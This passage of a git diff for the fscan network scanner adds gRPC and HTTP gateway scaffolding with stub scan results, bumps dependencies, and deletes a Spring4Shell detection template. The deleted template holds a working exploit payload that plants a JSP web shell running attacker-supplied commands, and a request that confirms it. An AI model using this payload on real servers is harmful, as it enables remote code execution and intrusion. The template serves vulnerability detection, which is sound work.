(*TaskResultsResponse, error) + // 获取扫描结果(流式) + StreamScanResults(*TaskResultsRequest, grpc.ServerStreamingServer[ScanResult]) error + mustEmbedUnimplementedFscanServiceServer() +} + +// UnimplementedFscanServiceServer must be embedded to have +// forward compatible implementations. +// +// NOTE: this should be embedded by value instead of pointer to avoid a nil +// pointer dereference when methods are called. +type UnimplementedFscanServiceServer struct{} + +func (UnimplementedFscanServiceServer) StartScan(context.Context, *StartScanRequest) (*StartScanResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method StartScan not implemented") +} +func (UnimplementedFscanServiceServer) GetScanResults(context.Context, *TaskResultsRequest) (*TaskResultsResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetScanResults not implemented") +} +func (UnimplementedFscanServiceServer) StreamScanResults(*TaskResultsRequest, grpc.ServerStreamingServer[ScanResult]) error { + return status.Errorf(codes.Unimplemented, "method StreamScanResults not implemented") +} +func (UnimplementedFscanServiceServer) mustEmbedUnimplementedFscanServiceServer() {} +func (UnimplementedFscanServiceServer) testEmbeddedByValue() {} + +// UnsafeFscanServiceServer may be embedded to opt out of forward compatibility for this service. +// Use of this interface is not recommended, as added methods to FscanServiceServer will +// result in compilation errors. +type UnsafeFscanServiceServer interface { + mustEmbedUnimplementedFscanServiceServer() +} + +func RegisterFscanServiceServer(s grpc.ServiceRegistrar, srv FscanServiceServer) { + // If the following call pancis, it indicates UnimplementedFscanServiceServer was + // embedded by pointer and is nil. This will cause panics if an + // unimplemented method is ever invoked, so we test this at initialization + // time to prevent it from happening at runtime later due to I/O. + if t, ok := srv.(interface{ testEmbeddedByValue() }); ok { + t.testEmbeddedByValue() + } + s.RegisterService(&FscanService_ServiceDesc, srv) +} + +func _FscanService_StartScan_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(StartScanRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(FscanServiceServer).StartScan(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: FscanService_StartScan_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(FscanServiceServer).StartScan(ctx, req.(*StartScanRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _FscanService_GetScanResults_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(TaskResultsRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(FscanServiceServer).GetScanResults(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: FscanService_GetScanResults_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(FscanServiceServer).GetScanResults(ctx, req.(*TaskResultsRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _FscanService_StreamScanResults_Handler(srv interface{}, stream grpc.ServerStream) error { + m := new(TaskResultsRequest) + if err := stream.RecvMsg(m); err != nil { + return err + } + return srv.(FscanServiceServer).StreamScanResults(m, &grpc.GenericServerStream[TaskResultsRequest, ScanResult]{ServerStream: stream}) +} + +// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. +type FscanService_StreamScanResultsServer = grpc.ServerStreamingServer[ScanResult] + +// FscanService_ServiceDesc is the grpc.ServiceDesc for FscanService service. +// It's only intended for direct use with grpc.RegisterService, +// and not to be introspected or modified (even as a copy) +var FscanService_ServiceDesc = grpc.ServiceDesc{ + ServiceName: "lib.FscanService", + HandlerType: (*FscanServiceServer)(nil), + Methods: []grpc.MethodDesc{ + { + MethodName: "StartScan", + Handler: _FscanService_StartScan_Handler, + }, + { + MethodName: "GetScanResults", + Handler: _FscanService_GetScanResults_Handler, + }, + }, + Streams: []grpc.StreamDesc{ + { + StreamName: "StreamScanResults", + Handler: _FscanService_StreamScanResults_Handler, + ServerStreams: true, + }, + }, + Metadata: "proto/fscan.proto", +} diff --git a/RPC/lib/rpc.proto b/RPC/lib/rpc.proto new file mode 100644 index 0000000..728a567 --- /dev/null +++ b/RPC/lib/rpc.proto @@ -0,0 +1,66 @@ +syntax = "proto3"; + +package lib; + +option go_package = "./;lib"; + +import "google/api/annotations.proto"; + +service FscanService { + // 启动扫描任务 + rpc StartScan(StartScanRequest) returns (StartScanResponse) { + option (google.api.http) = { + post: "/v1/startscan" + body: "*" + }; + } + + // 获取扫描结果(非流式) + rpc GetScanResults(TaskResultsRequest) returns (TaskResultsResponse) { + option (google.api.http) = { + post: "/v1/getresults" + body: "*" + }; + } + + // 获取扫描结果(流式) + rpc StreamScanResults(TaskResultsRequest) returns (stream ScanResult) { + option (google.api.http) = { + get: "/v1/streamresults" + }; + } +} + +// 启动任务的请求 +message StartScanRequest { + string secret = 1; + string arg= 2; +} + +// 启动任务的响应 +message StartScanResponse { + string task_id = 1; + string message = 2; +} + +// 获取扫描结果的请求 +message TaskResultsRequest { + string task_id = 1; + uint32 offset = 2; +} + +// 获取扫描结果的响应 +message TaskResultsResponse { + string task_id = 1; + repeated ScanResult results = 2; + bool finished = 3; +} + +// 扫描结果结构体 +message ScanResult { + string time = 1; + string type = 2; + string target = 3; + string status = 4; + string details_json = 5; +} diff --git a/RPC/server.go b/RPC/server.go new file mode 100644 index 0000000..7fefb04 --- /dev/null +++ b/RPC/server.go @@ -0,0 +1,70 @@ +package rpc + +import ( + "context" + "log" + "net" + "net/http" + + "github.com/grpc-ecosystem/grpc-gateway/v2/runtime" + pb "github.com/shadow1ng/fscan/RPC/lib" + "github.com/shadow1ng/fscan/RPC/service" + "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" +) + +// 暴露的启动函数(可供外部调用) +func StartHTTPServer() { + go runGRPCServer() // 启动 gRPC 服务 + if err := runHTTPGateway(); err != nil { + log.Fatalf("HTTP 启动失败: %v", err) + } +} + +// 启动 gRPC 服务 +func runGRPCServer() { + lis, err := net.Listen("tcp", ":50051") + if err != nil { + log.Fatalf("监听失败: %v", err) + } + s := grpc.NewServer() + pb.RegisterFscanServiceServer(s, &service.FscanService{}) + log.Println("✅ gRPC 服务已启动,端口 50051") + if err := s.Serve(lis); err != nil { + log.Fatalf("gRPC 启动失败: %v", err) + } +} + +// 启动 HTTP Gateway 服务 +func runHTTPGateway() error { + ctx := context.Background() + mux := runtime.NewServeMux() + opts := []grpc.DialOption{grpc.WithTransportCredentials(insecure.NewCredentials())} + + err := pb.RegisterFscanServiceHandlerFromEndpoint(ctx, mux, "localhost:50051", opts) + if err != nil { + return err + } + + // 包裹 mux,加上 CORS 支持 + handler := allowCORS(mux) + + log.Println("✅ HTTP Gateway 已启动,端口 8080") + return http.ListenAndServe(":8080", handler) +} + +// 添加 CORS 支持 +func allowCORS(h http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Access-Control-Allow-Origin", "*") + w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS") + w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization") + + if r.Method == "OPTIONS" { + w.WriteHeader(http.StatusOK) + return + } + + h.ServeHTTP(w, r) + }) +} diff --git a/RPC/service/fscan.go b/RPC/service/fscan.go new file mode 100644 index 0000000..74e2e33 --- /dev/null +++ b/RPC/service/fscan.go @@ -0,0 +1,85 @@ +package service + +import ( + "context" + "log" + "time" + + pb "github.com/shadow1ng/fscan/RPC/lib" +) + +// FscanService 实现了 pb.FscanServiceServer 接口,用于提供扫描相关的服务。 +type FscanService struct { + pb.UnimplementedFscanServiceServer +} + +// StartScan 用于启动扫描任务。 +// 参数: +// - ctx:请求上下文,用于控制超时、取消等操作。 +// - req:StartScanRequest,包括扫描目标、端口、模式等参数。 +// 返回值: +// - StartScanResponse:包含任务 ID 和提示信息。 +// - error:执行中出现的错误信息。 +func (s *FscanService) StartScan(ctx context.Context, req *pb.StartScanRequest) (*pb.StartScanResponse, error) { + log.Printf("启动扫描: target=%s, port=%s, mode=%s", req.Secret, req.Arg) + + // TODO: 在此处实现实际的扫描逻辑,例如调用扫描器、创建任务、存储任务状态等。 + // 可以异步执行扫描逻辑,并生成一个唯一的 taskID 进行标识。 + + return &pb.StartScanResponse{ + TaskId: "task_123456", // TODO: 返回真实生成的 taskID + Message: "扫描任务已启动", + }, nil +} + +// GetScanResults 用于获取指定任务 ID 的扫描结果。 +// 参数: +// - ctx:请求上下文。 +// - req:TaskResultsRequest,包含任务 ID。 +// 返回值: +// - TaskResultsResponse:包含结果列表、任务状态等信息。 +// - error:执行中出现的错误信息。 +func (s *FscanService) GetScanResults(ctx context.Context, req *pb.TaskResultsRequest) (*pb.TaskResultsResponse, error) { + // TODO: 实现根据任务 ID 查询任务结果,可以从缓存、数据库或临时文件中获取。 + // 此处为模拟数据 + + result := &pb.ScanResult{ + Time: time.Now().Format(time.RFC3339), + Type: "port", + Target: "192.168.1.1:80", + Status: "open", + DetailsJson: `{"banner":"nginx"}`, + } + + return &pb.TaskResultsResponse{ + TaskId: req.TaskId, + Results: []*pb.ScanResult{result}, + Finished: true, // TODO: 判断任务是否真正完成 + }, nil +} + +// StreamScanResults 用于通过流式返回任务扫描结果,适合长时间扫描过程。 +// 参数: +// - req:TaskResultsRequest,包含任务 ID。 +// - stream:用于向客户端持续推送结果。 +// 返回值: +// - error:执行中出现的错误信息。 +func (s *FscanService) StreamScanResults(req *pb.TaskResultsRequest, stream pb.FscanService_StreamScanResultsServer) error { + // TODO: 根据任务 ID 逐步查询任务结果,并通过 stream.Send 发送给客户端。 + // 可以监听任务进度,逐步推送最新结果。 + + for i := 0; i < 5; i++ { + result := &pb.ScanResult{ + Time: time.Now().Format(time.RFC3339), + Type: "vuln", + Target: "192.168.1.1", + Status: "found", + DetailsJson: `{"vuln":"CVE-2021-12345"}`, + } + if err := stream.Send(result); err != nil { + return err + } + time.Sleep(1 * time.Second) // 模拟异步推送过程 + } + return nil +} diff --git a/WebScan/pocs/spring-core-rce.yml b/WebScan/pocs/spring-core-rce.yml deleted file mode 100644 index 8b14957..0000000 --- a/WebScan/pocs/spring-core-rce.yml +++ /dev/null @@ -1,27 +0,0 @@ -name: poc-yaml-spring-core-rce -manual: true -transport: http -set: - r1: randomInt(40000, 44800) -rules: - - method: POST - path: / - headers: - suffix: "%>//" - c1: "Runtime" - c2: "<%" - DNT: "1" - Content-Type: "application/x-www-form-urlencoded" - body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" - follow_redirects: true - expression: | - response.status == 200 - - method: GET - path: /tomcatwar.jsp?data=j&word=echo%20{r1} - follow_redirects: false - expression: | - response.status == 200 && response.body.bcontains(bytes(string(r1))) -detail: - author: marmot - links: - - https://github.com/Mr-xn/spring-core-rce \ No newline at end of file diff --git a/go.mod b/go.mod index e8603dc..42aa90d 100644 --- a/go.mod +++ b/go.mod @@ -1,17 +1,19 @@ module github.com/shadow1ng/fscan -go 1.20 +go 1.23.0 + +toolchain go1.23.6 require ( github.com/IBM/sarama v1.43.3 github.com/denisenkom/go-mssqldb v0.12.3 github.com/fatih/color v1.18.0 github.com/go-ldap/ldap/v3 v3.4.9 - github.com/go-ole/go-ole v1.3.0 github.com/go-sql-driver/mysql v1.8.1 github.com/gocql/gocql v1.7.0 github.com/google/cel-go v0.13.0 github.com/gosnmp/gosnmp v1.38.0 + github.com/grpc-ecosystem/grpc-gateway/v2 v2.26.3 github.com/hirochachacha/go-smb2 v1.1.0 github.com/jlaffaye/ftp v0.2.0 github.com/lib/pq v1.10.9 @@ -23,12 +25,13 @@ require ( github.com/sijms/go-ora/v2 v2.5.29 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 - golang.org/x/crypto v0.31.0 - golang.org/x/net v0.32.0 - golang.org/x/sys v0.28.0 - golang.org/x/text v0.21.0 + golang.org/x/crypto v0.33.0 + golang.org/x/net v0.35.0 + golang.org/x/sys v0.30.0 + golang.org/x/text v0.22.0 google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c - google.golang.org/protobuf v1.28.1 + google.golang.org/grpc v1.70.0 + google.golang.org/protobuf v1.36.5 gopkg.in/yaml.v2 v2.4.0 gopkg.in/yaml.v3 v3.0.1 ) @@ -71,7 +74,7 @@ require ( github.com/rivo/uniseg v0.4.7 // indirect github.com/rogpeppe/go-internal v1.13.1 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect - golang.org/x/term v0.27.0 // indirect + golang.org/x/term v0.29.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect ) diff --git a/go.sum b/go.sum index a672d8d..a1ce73e 100644 --- a/go.sum +++ b/go.sum @@ -23,7 +23,6 @@ github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym github.com/IBM/sarama v1.43.3 h1:Yj6L2IaNvb2mRBop39N7mmJAHBVY3dTPncr3qGVkxPA= github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H+FQ= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= -github.com/Ullaakut/nmap v2.0.2+incompatible/go.mod h1:fkC066hwfcoKwlI7DS2ARTggSVtBTZYCjVH1TzuTMaQ= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI= @@ -42,7 +41,6 @@ github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJm github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= -github.com/chengxilo/virtualterm v1.0.4 h1:Z6IpERbRVlfB8WkOmtbHiDbBANU7cimRIof7mk9/PwM= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= @@ -68,6 +66,7 @@ github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5Kwzbycv github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw= +github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU= @@ -86,9 +85,10 @@ github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= -github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= -github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= -github.com/go-resty/resty/v2 v2.16.2/go.mod h1:0fHAoK7JoBy/Ch36N8VFeMsK7xQOHhvWaC3iOktwmIU= +github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= +github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= +github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= @@ -119,6 +119,8 @@ github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvq github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= +github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= @@ -132,9 +134,9 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/gxui v0.0.0-20151028112939-f85e0a97b3a4/go.mod h1:Pw1H1OjSNHiqeuxAduB1BKYXIwFtsyrY47nEqSgEiCM= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= @@ -159,6 +161,8 @@ github.com/goxjs/glfw v0.0.0-20191126052801-d2efb5f20838/go.mod h1:oS8P8gVOT4ywT github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.26.3 h1:5ZPtiqj0JL5oKWmcsq4VMaAW5ukBEgSGXEN89zeH1Jo= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.26.3/go.mod h1:ndYquD05frm2vACXE1nsccT4oJzjhw2arTS2cpUD1PI= github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed h1:5upAirOpQc1Q53c0bnx2ufif5kANL7bfZWcc6VJWJd8= github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed/go.mod h1:tMWxXQ9wFIaZeTI9F+hmhFiGpFmhOHzyShyFUhRm0H4= github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= @@ -222,7 +226,8 @@ github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ib github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= -github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= @@ -241,7 +246,6 @@ github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWE github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU= github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= -github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= @@ -310,8 +314,6 @@ github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE= github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ= -github.com/schollz/progressbar/v3 v3.17.1 h1:bI1MTaoQO+v5kzklBjYNRQLoVpe0zbyRZNK6DFkVC5U= -github.com/schollz/progressbar/v3 v3.17.1/go.mod h1:RzqpnsPQNjUyIgdglUjRLgD7sVnxN1wpmBMV+UiEbL4= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k= github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= @@ -350,6 +352,7 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= +github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= @@ -360,8 +363,19 @@ github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5t go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= +go.opentelemetry.io/otel v1.32.0 h1:WnBN+Xjcteh0zdk01SVqV55d/m62NJLJdIyb4y/WO5U= +go.opentelemetry.io/otel v1.32.0/go.mod h1:00DCVSB0RQcnzlwyTfqtxSm+DRr9hpYrHjNGiBHVQIg= +go.opentelemetry.io/otel/metric v1.32.0 h1:xV2umtmNcThh2/a/aCP+h64Xx5wsj8qqnkYZktzNa0M= +go.opentelemetry.io/otel/metric v1.32.0/go.mod h1:jH7CIbbK6SH2V2wE16W05BHCtIDzauciCRLoc/SyMv8= +go.opentelemetry.io/otel/sdk v1.32.0 h1:RNxepc9vK59A8XsgZQouW8ue8Gkb4jpWtJm9ge5lEG4= +go.opentelemetry.io/otel/sdk v1.32.0/go.mod h1:LqgegDBjKMmb2GC6/PrTnteJG39I8/vJCAP9LlJXEjU= +go.opentelemetry.io/otel/sdk/metric v1.32.0 h1:rZvFnvmvawYb0alrYkjraqJq0Z4ZUJAiyYCU9snn1CU= +go.opentelemetry.io/otel/sdk/metric v1.32.0/go.mod h1:PWeZlq0zt9YkYAp3gjKZ0eicRYvOh1Gd+X99x6GHpCQ= +go.opentelemetry.io/otel/trace v1.32.0 h1:WIC9mYrXf8TmY/EXuULKc8hR17vE+Hjv2cssQDe03fM= +go.opentelemetry.io/otel/trace v1.32.0/go.mod 